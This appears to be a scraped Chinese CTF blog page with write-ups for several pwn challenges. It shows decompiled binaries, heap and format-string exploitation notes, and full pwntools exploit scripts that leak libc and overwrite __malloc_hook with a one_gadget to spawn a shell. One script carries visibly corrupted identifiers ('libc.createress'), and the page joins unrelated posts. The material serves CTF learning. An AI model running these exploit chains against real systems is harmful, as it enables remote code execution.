*RIP  0x5d8dccc20236 (do_printf+77) ◂— call 0x5d8dccc200c0
────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────
   0x5d8dccc20217 <do_printf+46>    call   __isoc99_scanf@plt                <__isoc99_scanf@plt>
 
   0x5d8dccc2021c <do_printf+51>    test   eax, eax
   0x5d8dccc2021e <do_printf+53>    jg     do_printf+65                <do_printf+65>
    ↓
   0x5d8dccc2022a <do_printf+65>    lea    rdi, [rip + 0xdd7]
   0x5d8dccc20231 <do_printf+72>    mov    eax, 0
 ► 0x5d8dccc20236 <do_printf+77>    call   printf@plt                <printf@plt>
        format: 0x5d8dccc21008 ◂— 0x2500203a65726548 /* 'Here: ' */
        vararg: 0x4
 
   0x5d8dccc2023b <do_printf+82>    lea    rax, [rbp - 0xc]
   0x5d8dccc2023f <do_printf+86>    mov    rdi, rax
   0x5d8dccc20242 <do_printf+89>    mov    eax, 0
   0x5d8dccc20247 <do_printf+94>    call   printf@plt                <printf@plt>
 
   0x5d8dccc2024c <do_printf+99>    nop    
─────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────
00:0000│ rsp 0x7ffe4c726e70 ◂— 0x642a25ccc20100
01:0008│     0x7ffe4c726e78 ◂— 0xace6cc258ec17700
02:0010│ rbp 0x7ffe4c726e80 —▸ 0x7ffe4c726ea0 ◂— 0x0
03:0018│     0x7ffe4c726e88 —▸ 0x5d8dccc2036c (main+164) ◂— jmp 0x5d8dccc20390
04:0020│     0x7ffe4c726e90 ◂— 0x14c726f90
05:0028│     0x7ffe4c726e98 ◂— 0xace6cc258ec17700
06:0030│     0x7ffe4c726ea0 ◂— 0x0
07:0038│     0x7ffe4c726ea8 —▸ 0x7d2bbe226083 (__libc_start_main+243) ◂— mov edi, eax
───────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────
 ► 0   0x5d8dccc20236 do_printf+77
   1   0x5d8dccc2036c main+164
   2   0x7d2bbe226083 __libc_start_main+243
   3   0x5d8dccc2012e _start+46
───────────────────────────

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64')
# log_level='debug'

is_debug = 0
IP = "be.ax"
PORT = 32323

elf = context.binary = ELF('./chal')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])


def create_ucontext(
    src: int,
    rsp=0,
    rbx=0,
    rbp=0,
    r12=0,
    r13=0,
    r14=0,
    r15=0,
    rsi=0,
    rdi=0,
    rcx=0,
    r8=0,
    r9=0,
    rdx=0,
    rip=0xDEADBEEF,
) -> bytearray:
    b = bytearray(0x200)
    b[0xE0:0xE8] = p64(src)  # fldenv ptr
    b[0x1C0:0x1C8] = p64(0x1F80)  # ldmxcsr

    b[0xA0:0xA8] = p64(rsp)
    b[0x80:0x88] = p64(rbx)
    b[0x78:0x80] = p64(rbp)
    b[0x48:0x50] = p64(r12)
    b[0x50:0x58] = p64(r13)
    b[0x58:0x60] = p64(r14)
    b[0x60:0x68] = p64(r15)

    b[0xA8:0xB0] = p64(rip)  # ret ptr
    b[0x70:0x78] = p64(rsi)
    b[0x68:0x70] = p64(rdi)
    b[0x98:0xA0] = p64(rcx)
    b[0x28:0x30] = p64(r8)
    b[0x30:0x38] = p64(r9)
    b[0x88:0x90] = p64(rdx)

    return b


def setcontext32(libc: ELF, **kwargs) -> (int, bytes):
    got = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
    plt_trampoline = libc.address + libc.get_section_by_name(".plt").header.sh_addr
    return got, flat(
        p64(0),
        p64(got + 0x218),
        p64(libc.symbols["setcontext"] + 32),
        p64(plt_trampoline) * 0x40,
        create_ucontext(got + 0x218, rsp=libc.symbols["environ"] + 8, **kwargs),
    )
# e.g. dest, payload = setcontext32.setcontext32(
#         libc, rip=libc.sym["system"], rdi=libc.search(b"/bin/sh").__next__()
#     )


p = connect()

def print_data(data):
    sl("1")
    sl(data)

def call_addr(addr):
    sl("2")
    sl(hex(addr).encode())

print_data("%*d")
print_data("%s")

system = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x19a6f0
call_addr(system)



p.interactive()

musl libc中的格式化字符串 (和禁用$差不多)

crewctf_Format muscle

使用musl libc动态连接

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char s[264]; // [rsp+0h] [rbp-110h] BYREF
  unsigned __int64 v4; // [rsp+108h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  setbuf((FILE *)&dword_0, 0LL);
  do
  {
    fgets(s, 256, (FILE *)&dword_0);
    printf(s);
  }
  while ( strncmp(s, "quit", 4uLL) );
  exit(0);
}
Read More
post @ 2024-08-08

题目附件https://github.com/nyyyddddn/ctf/tree/main/tfcctf2024

pwn

GUARD-THE-BYPASS

程序的逻辑如下 这里GUARD也就是指canary

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v5; // [rsp+Ch] [rbp-14h] BYREF
  pthread_t newthread; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v7; // [rsp+18h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  setup(argc, argv, envp);
  puts("Welcome! Press 1 to start the chall.");
  __isoc99_scanf("%d", &v5);
  if ( v5 != 1 )
  {
    puts("Bye!");
    exit(0);
  }
  len = get_len();
  pthread_create(&newthread, 0LL, game, 0LL);
  pthread_join(newthread, 0LL);
  return v7 - __readfsqword(0x28u);
}

unsigned __int64 __fastcall game(void *a1)
{
  __int64 buf[5]; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  memset(buf, 0, 32);
  getchar();
  read(0, buf, len);
  return v3 - __readfsqword(0x28u);
}

有canary 没有pie,修改寄存器的gadget也有

posix接口创建的线程 tls结构体离函数栈帧很近,可以覆盖tls中的canary去绕过canary然后打ret2libc,tls附近有一两个指针在程序执行的时候会往里面写数据,想到了一种很简单的方法,把game函数的canary和tls中的canary覆盖成指向bss的指针,直接一路写过去,就不需要管指针解引用段错误的问题了

vspm

程序的逻辑

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int v3; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  sub_1289(a1, a2, a3);
  puts("Welcome to the Very Secure Password Manager!");
  puts("--------------------------------------------\n");
  puts("1. Save new password");
  puts("2. Check my passwords");
  puts("3. Delete credentials");
  puts("4. Exit");
  while ( 1 )
  {
    v3 = 0;
    printf("Input: ");
    __isoc99_scanf("%d", &v3);
    getchar();
    if ( v3 <= 0 || v3 > 4 )
      break;
    switch ( v3 )
    {
      case 4:
        exit_();
      case 3:
        delete_password();
        break;
      case 1:
        save_password();
        break;
      default:
        show_password();
        break;
    }
  }
  puts("Not a valid choice :(");
  exit(0);
}

unsigned __int64 save_password()
{
  unsigned int v1; // [rsp+8h] [rbp-68h] BYREF
  int i; // [rsp+Ch] [rbp-64h]
  __int64 v3; // [rsp+10h] [rbp-60h]
  __int64 v4; // [rsp+18h] [rbp-58h]
  __int64 v5; // [rsp+20h] [rbp-50h]
  __int64 v6; // [rsp+28h] [rbp-48h]
  __int64 v7; // [rsp+30h] [rbp-40h]
  __int64 v8; // [rsp+38h] [rbp-38h]
  __int64 v9; // [rsp+40h] [rbp-30h]
  __int64 v10; // [rsp+48h] [rbp-28h]
  __int64 v11; // [rsp+50h] [rbp-20h]
  __int64 v12; // [rsp+58h] [rbp-18h]
  unsigned __int64 v13; // [rsp+68h] [rbp-8h]

  v13 = __readfsqword(0x28u);
  for ( i = 0; i <= 9 && *((_QWORD *)&unk_4060 + 5 * i); ++i )
    ;
  if ( i == 10 )
  {
    puts("No more space to save passwords.");
    exit(0);
  }
  printf("\nSelect length: ");
  v1 = 0;
  __isoc99_scanf("%d", &v1);
  getchar();
  if ( v1 >= 0x79 )
  {
    puts("Sorry, not enough resources!");
    exit(0);
  }
  v3 = 0LL;
  v4 = 0LL;
  v5 = 0LL;
  v6 = 0LL;
  v7 = 0LL;
  v8 = 0LL;
  v9 = 0LL;
  v10 = 0LL;
  v11 = 0LL;
  v12 = 0LL;
  *((_QWORD *)&unk_4060 + 5 * i) = malloc((int)v1);
  printf("Enter credentials: ");
  read(0, *((void **)&unk_4060 + 5 * i), (int)(v1 + 1));
  printf("Name of the credentials: ");
  read(0, (char *)&unk_4060 + 40 * i + 8, (int)(v1 + 1));
  return __readfsqword(0x28u) ^ v13;
}

int show_password()
{
  __int64 v0; // rax
  int i; // [rsp+Ch] [rbp-4h]

  for ( i = 0; i <= 9; ++i )
  {
    v0 = *((_QWORD *)&unk_4060 + 5 * i);
    if ( v0 )
      LODWORD(v0) = printf(
                      "%d. %.*s --> %s",
                      (unsigned int)i,
                      32,
                      (const char *)&unk_4060 + 40 * i + 8,
                      *((const char **)&unk_4060 + 5 * i));
  }
  return v0;
}

unsigned __int64 delete_password()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  v1 = 0;
  printf("Select index: ");
  __isoc99_scanf("%d", &v1);
  getchar();
  if ( !*((_QWORD *)&unk_4060 + 5 * v1) )
  {
    puts("You can't delete a non-existent password.");
    exit(0);
  }
  free(*((void **)&unk_4060 + 5 * v1));
  *((_QWORD *)&unk_4060 + 5 * v1) = 0LL;
  memset((char *)&unk_4060 + 40 * v1 + 8, 0, 0x20uLL);
  return __readfsqword(0x28u) ^ v2;
}

关闭了tcahce的glibc 2.30,漏洞是在create password的时候有一个off by one 可以覆盖相邻地址堆块的 chunk size一个字节,通过 off by one绕过size的限制申请出unsortedbin,然后切分unsortedbin利用残留的bk指针泄露libc基地址,只需要控制一下 off by one的size就可以在切分unsortedbin后和下一个堆块完全重叠,造成heap overlap,之后doube free写malloc hook 为one gadget触发就好了

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "127.0.0.1"
PORT = 9999


elf = context.binary = ELF('./chall')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])


def create_ucontext(
    src: int,
    rsp=0,
    rbx=0,
    rbp=0,
    r12=0,
    r13=0,
    r14=0,
    r15=0,
    rsi=0,
    rdi=0,
    rcx=0,
    r8=0,
    r9=0,
    rdx=0,
    rip=0xDEADBEEF,
) -> bytearray:
    b = bytearray(0x200)
    b[0xE0:0xE8] = p64(src)  # fldenv ptr
    b[0x1C0:0x1C8] = p64(0x1F80)  # ldmxcsr

    b[0xA0:0xA8] = p64(rsp)
    b[0x80:0x88] = p64(rbx)
    b[0x78:0x80] = p64(rbp)
    b[0x48:0x50] = p64(r12)
    b[0x50:0x58] = p64(r13)
    b[0x58:0x60] = p64(r14)
    b[0x60:0x68] = p64(r15)

    b[0xA8:0xB0] = p64(rip)  # ret ptr
    b[0x70:0x78] = p64(rsi)
    b[0x68:0x70] = p64(rdi)
    b[0x98:0xA0] = p64(rcx)
    b[0x28:0x30] = p64(r8)
    b[0x30:0x38] = p64(r9)
    b[0x88:0x90] = p64(rdx)

    return b


def setcontext32(libc: ELF, **kwargs) -> (int, bytes):
    got = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
    plt_trampoline = libc.address + libc.get_section_by_name(".plt").header.sh_addr
    return got, flat(
        p64(0),
        p64(got + 0x218),
        p64(libc.symbols["setcontext"] + 32),
        p64(plt_trampoline) * 0x40,
        create_ucontext(got + 0x218, rsp=libc.symbols["environ"] + 8, **kwargs),
    )
# e.g. dest, payload = setcontext32.setcontext32(
#         libc, rip=libc.sym["system"], rdi=libc.search(b"/bin/sh").__next__()
#     )
is_debug = 1
IP = "challs.tfcctf.com"
PORT = 31822

p = connect()

def save_password(len,password,name):
    sla("Input:","1")
    sla("length",str(len))
    sa("Enter credentials:",password)
    sa("Name of the credentials:",name)

def delete_credentials(idx):
    sla("Input:","3")
    sla("Select index:",str(idx))

def check_password():
    sla("Input:","2")

save_password(0x68, b"AAAAAAAA", b"aaaaaaaa")
save_password(0x68, b"BBBBBBBB", b"bbbbbbbb")
save_password(0x68, b"CCCCCCCC", b"cccccccc")
save_password(0x68, b"DDDDDDDD", b"dddddddd")
save_password(0x68, b"EEEEEEEE", b"eeeeeeee")

delete_credentials(0)
save_password(0x68, b"A" * 0x68 + p8(0xe1), b"a" * 0x8)
delete_credentials(1) # unsorted bin 
save_password(0x68, b"B" * 0x8, b"b" * 0x8) # leak unsortedbin bk


check_password()
ru(b"B" * 0x8)
libc_base = u64(r(6).ljust(8,b'\x00')) - (0x76c3f6bb4c90 - 0x76c3f6800000)
success(hex(libc_base))
libc.addr = libc_base

free_hook = libc_base + libc.sym['__free_hook']
malloc_hook = libc_base + libc.sym['__malloc_hook']
system = libc_base + libc.sym['system']

one_gadget = libc_base + 0xe1fa1

save_password(0x68,b"FFFFFFFF","ffffffff") # heap overlap (cccccccc and ffffffff)

# double free
delete_credentials(2) # delete cccccccc
delete_credentials(3)
delete_credentials(5) # delete ffffffff

save_password(0x68, p64(malloc_hook - 0x23), b"f" * 0x8)
save_password(0x68, b'D' * 8, b"d" * 0x8)
save_password(0x68, p64(malloc_hook - 0x23), b"c" * 0x8)
save_password(0x68, b'A' * 0x13 + p64(one_gadget), b"c" * 0x8)

sl(str(1))
sla("length",str(0x48))




p.interactive()

mcback2dabasics

void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
  int choice; // [rsp+0h] [rbp-10h] BYREF
  int i; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  for ( i = 0; i <= 63; ++i )
    chunk_list[i] = 0LL;
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      scanf("%d", &choice);
      if ( choice != 2 )
        break;
      delete();
    }
    if ( choice == 3 )
    {
      puts("Is that all you got? Bye!");
      exit(0);
    }
    if ( choice == 1 )
      create();
    else
      puts("Invalid choice");
  }
}

unsigned __int64 sub_9F4()
{
  int idx; // eax
  _DWORD nbytes[3]; // [rsp+Ch] [rbp-14h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  if ( chunk_number > 63 )
  {
    puts("No more memory available");
    exit(0);
  }
  puts("How much?");
  printf("[+]> ");
  scanf("%d", nbytes);
  if ( nbytes[0] > 0x70u )
  {
    puts("Nope, too big");
    exit(0);
  }
  *(_QWORD *)&nbytes[1] = malloc((unsigned int)(nbytes[0] + 1));
  puts("Data?");
  read(0, *(void **)&nbytes[1], nbytes[0]);
  *(_BYTE *)(nbytes[0] + *(_QWORD *)&nbytes[1]) = 0;
  idx = chunk_number++;
  chunk_list[idx] = *(_QWORD *)&nbytes[1];
  puts("Job done!");
  return __readfsqword(0x28u) ^ v3;
}

unsigned __int64 delete()
{
  unsigned int idx; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Which one?");
  printf("[+]> ");
  scanf("%d", &idx);
  if ( idx > 0x3F )
  {
    puts("Invalid index");
    exit(0);
  }
  free((void *)chunk_list[idx]);
  puts("Job done!");
  return __readfsqword(0x28u) ^ v2;
}

glibc 2.24,这个题非常困难,有uaf,但是泄露不出来地址,我知道要写stdout 打puts的利用链去泄露地址但是不知道怎么做,后面复现的时候发现可以通过堆风水让unsortedbin的fd和fastbin的fd重叠,main arena + 88离 stdout很近,libc地址低12位是固定的,覆盖两个字节就能到stdout,然后因为有size的检查,但是stdoutt往上一小段距离那有一个0x7f的地址可以通过错位字节分配到上面然后绕过这个检查,所以远程的话有十六分之一的概率能打通,需要爆破。申请到stdout后,把write base的低位覆盖,就可以通过puts的利用链去泄露libc。

具体的堆风水是,因为没有edit函数,可以通过在大堆块里面伪造fake chunk然后double free 让chunklist中有fakechunk的指针,伪造一个unsortedbin范围的fakechunk fakechunk和next chunk重叠,或者是大于,通过切分unsortedbin调整fd的位置,重叠后就可以利用了,记得把size改回去,因为重叠后unsortedbin切分的时候会写写size,也不能保证unsortedbin切分后size和原来相同,因为会分到fastbin

exp

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "127.0.0.1"
PORT = 9999
elf = context.binary = ELF('./chall')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

def create_ucontext(
    src: int,
    rsp=0,
    rbx=0,
    rbp=0,
    r12=0,
    r13=0,
    r14=0,
    r15=0,
    rsi=0,
    rdi=0,
    rcx=0,
    r8=0,
    r9=0,
    rdx=0,
    rip=0xDEADBEEF,
) -> bytearray:
    b = bytearray(0x200)
    b[0xE0:0xE8] = p64(src)  # fldenv ptr
    b[0x1C0:0x1C8] = p64(0x1F80)  # ldmxcsr

    b[0xA0:0xA8] = p64(rsp)
    b[0x80:0x88] = p64(rbx)
    b[0x78:0x80] = p64(rbp)
    b[0x48:0x50] = p64(r12)
    b[0x50:0x58] = p64(r13)
    b[0x58:0x60] = p64(r14)
    b[0x60:0x68] = p64(r15)

    b[0xA8:0xB0] = p64(rip)  # ret ptr
    b[0x70:0x78] = p64(rsi)
    b[0x68:0x70] = p64(rdi)
    b[0x98:0xA0] = p64(rcx)
    b[0x28:0x30] = p64(r8)
    b[0x30:0x38] = p64(r9)
    b[0x88:0x90] = p64(rdx)

    return b


def setcontext32(libc: ELF, **kwargs) -> (int, bytes):
    got = libc.createress + libc.dynamic_value_by_tag("DT_PLTGOT")
    plt_trampoline = libc.createress + libc.get_section_by_name(".plt").header.sh_creater
    return got, flat(
        p64(0),
        p64(got + 0x218),
        p64(libc.symbols["setcontext"] + 32),
        p64(plt_trampoline) * 0x40,
        create_ucontext(got + 0x218, rsp=libc.symbols["environ"] + 8, **kwargs),
    )
# e.g. dest, payload = setcontext32.setcontext32(
#         libc, rip=libc.sym["system"], rdi=libc.search(b"/bin/sh").__next__()
#     )

p = connect()

def create(size,content): # 0x70
    sla(b"[+]> ",b"1")
    sla(b"[+]> ",str(size).encode())
    sa(b"Data?",content)

def delete(idx):
    sla(b"[+]> ",b"2")
    sla(b"[+]> ",str(idx).encode())

create(0x50,b"A" * 0x10 + b"fkchunk0" + p64(0x71)) #0 # fkchunk0 = 0x555555605020
create(0x60,"B" * 8) # 1
create(0x60,"C" * 8) # 2
create(0x60,"D" * 8) # 3

delete(1)
delete(2)
delete(1)

create(0x60,b"\x20\x50") # 4
create(0x60,"C" * 8) # 5
create(0x60,"B" * 8) # 6
create(0x60,"D" * 8) # 7 # fkchunk0


delete(0)
create(0x50,b"A" * 0x10 + p64(0) + p64(0xb1)) # 8
delete(7) # delete fkchunk0

delete(3)
delete(1) 
create(0x30,b"A" * 0x10 + p64(0) + p64(0X61)) # 9 # segmentation unsortedbin and create fakechunk1 0x555555605040
# # heap overlap chunk[1].fd = main_arena + 88

# pwndbg> x /40gx 0x7ffff7bc2600 - 0x43
# 0x7ffff7bc25bd <_IO_2_1_stderr_+157>:	0xfff7bc1640000000	0x000000000000007f
# 0x7ffff7bc25cd <_IO_2_1_stderr_+173>:	0x0000000000000000	0x0000000000000000
# 0x7ffff7bc25dd <_IO_2_1_stderr_+189>:	0x0000000000000000	0x0000000000000000
# 0x7ffff7bc25ed <_IO_2_1_stderr_+205>:	0x0000000000000000	0xfff7bbe400000000
# 0x7ffff7bc25fd <_IO_2_1_stderr_+221>:	0x00fbad288700007f	0xfff7bc2683000000
# 0x7ffff7bc260d <_IO_2_1_stdout_+13>:	0xfff7bc268300007f	0xfff7bc268300007f
# 0x7ffff7bc261d <_IO_2_1_stdout_+29>:	0xfff7bc268300007f	0xfff7bc268300007f
# 0x7ffff7bc262d <_IO_2_1_stdout_+45>:	0xfff7bc268300007f	0xfff7bc268300007f
# 0x7ffff7bc263d <_IO_2_1_stdout_+61>:	0xfff7bc268400007f	0x000000000000007f
# 0x7ffff7bc264d <_IO_2_1_stdout_+77>:	0x0000000000000000	0x0000000000000000
# 0x7ffff7bc265d <_IO_2_1_stdout_+93>:	0x0000000000000000	0xfff7bc18c0000000
# 0x7ffff7bc266d <_IO_2_1_stdout_+109>:	0x000000000100007f	0xffffffffff000000
# 0x7ffff7bc267d <_IO_2_1_stdout_+125>:	0x000a000000ffffff	0xfff7bc3760000000
# 0x7ffff7bc268d <_IO_2_1_stdout_+141>:	0xffffffffff00007f	0x0000000000ffffff
# 0x7ffff7bc269d <_IO_2_1_stdout_+157>:	0xfff7bc1780000000	0x000000000000007f
# 0x7ffff7bc26ad <_IO_2_1_stdout_+173>:	0x0000000000000000	0x0000000000000000


create(0x20,b"\xbd\x25") # 10 # segmentation unsortedbin; chunk[1].fd = stdout


create(0x50,b"E" * 8) # 11
create(0x50,b"F" * 8) # 12
delete(11)
delete(12)
delete(11)

create(0x50,b"\x40\x50") # 13
create(0x50,b"D" * 8) # 14
create(0x50,b"B" * 8) # 15
create(0x50,b"A" * 0x10 + p64(0) + p64(0x71)) # 16 # modify chunk[1].chunksize = 0x71

create(0x60,"SSSSS") # 16

payload = b'A' * 0x33 + p64(0xfbad1800) + p64(0) * 3 + p8(0) #
create(0x61,payload) # 17

rl()
print(r(0x20))
libc_base = u64(r(6).ljust(8,b'\x00')) - 0x3c2600
free_hook = libc_base + libc.sym['__free_hook']
one_gadget = libc_base + 0xce0e5
malloc_hook = libc_base + libc.sym['__malloc_hook']

delete(1)
delete(2)
delete(1)

create(0x60,p64(malloc_hook - 0x23))
create(0x60,"BBBBBBBB")
create(0x60,p64(malloc_hook - 0x23))
create(0x60,b'a' * 0x13 + p64(one_gadget))

sla(b"[+]> ",b"1")
sla(b"[+]> ",str(0x8).encode())




p.interactive()

misc

Read More
⬆︎TOP